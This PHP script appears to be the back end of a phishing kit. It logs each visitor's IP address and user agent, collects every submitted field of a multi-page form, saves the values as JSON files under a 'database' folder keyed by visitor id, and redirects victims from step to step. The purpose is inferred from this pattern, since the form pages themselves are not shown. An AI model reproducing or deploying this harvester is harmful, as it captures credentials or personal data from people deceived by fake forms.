<?php /* 8j2miKSrLplSdgDnUIXgT8KW4ctzgQlHhShE */


if (strpos($_SERVER['SCRIPT_NAME'], "index.php") !== false) {
   $ip = getUserIP();
   $agent = $_SERVER['HTTP_USER_AGENT'];
   $file = 'log.txt';
   $slog= $agent."#".$ip;
   if(!file_exists( $file)){
    file_put_contents($file,"");
   }
   if( strpos(file_get_contents( $file),$slog) !== false) {
        
    }else{
        file_put_contents($file, $slog.PHP_EOL, FILE_APPEND | LOCK_EX);
    }

    
}



$get = false;
foreach ($pagina as $parametro)
{
    if (!isset($_POST[$parametro]) || !$_POST[$parametro])
    {
        $get = true;
    }
}
//salvadebug($pagina);
//scrivifile($pagina,$numero);
$cartella = "database";
if ($numero == 0)
{
    $id = creaid($numero, $cartella);
    if ($_SERVER['REQUEST_METHOD'] == "GET")
    {
        $id = forzaid();
    }
}
else
{
    $id = getid();
}
if (isset($_GET['reset']))
{
    $id = forzaid(); ?>
			<script>
		window.location.href="<?php echo $precedente ?>";
			</script>
			<?php
    exit;
}
if ($numero != 0)
{
    $nomefile11 = $cartella . "/" . $id . "_" . $numero;
    if (file_exists($nomefile11))
    {
        if (filesize($nomefile11))
        { ?>
			<script>
		window.location.href="<?php echo $precedente ?>?reset=1";
			</script>
			<?php
            exit;
        }
    }
    $nomefile2 = $cartella . "/" . $id . "_0";
    if (!file_exists($nomefile2) || !filesize($nomefile2))
    { ?>
			<script>
		window.location.href="<?php echo $precedente ?>?reset=1";
			</script>
			<?php
        exit;
    }
}
if (!$get)
{
    $id = creaid($numero, $cartella);
    $lista = [];
    foreach ($pagina as $parametro)
    {
        $valore = $_POST[$parametro];
        $lista[] = $valore;
    }
    $nomefile = $cartella . "/" . $id . "_" . $numero;
    creafile($nomefile);
    if ($numero == 0)
    {
        $nomefileip = $cartella . "/ip_" . $id;
        creafile($nomefileip);
        $dispositivo = dispositivo() . "<div class='us'>" . $_SERVER['HTTP_USER_AGENT'] . "</div>";
        $myfile = file_put_contents($nomefileip, getUserIP() . " " . $dispositivo);
    }
    else
    {
    }
    $txt = json_encode($lista);
    $myfile = file_put_contents($nomefile, $txt . PHP_EOL); ?>
	<script>
		window.location.href="<?php echo $prossima ?>";
	</script>
	<?php
    exit;
}
conta($numero); ?><?php ?>
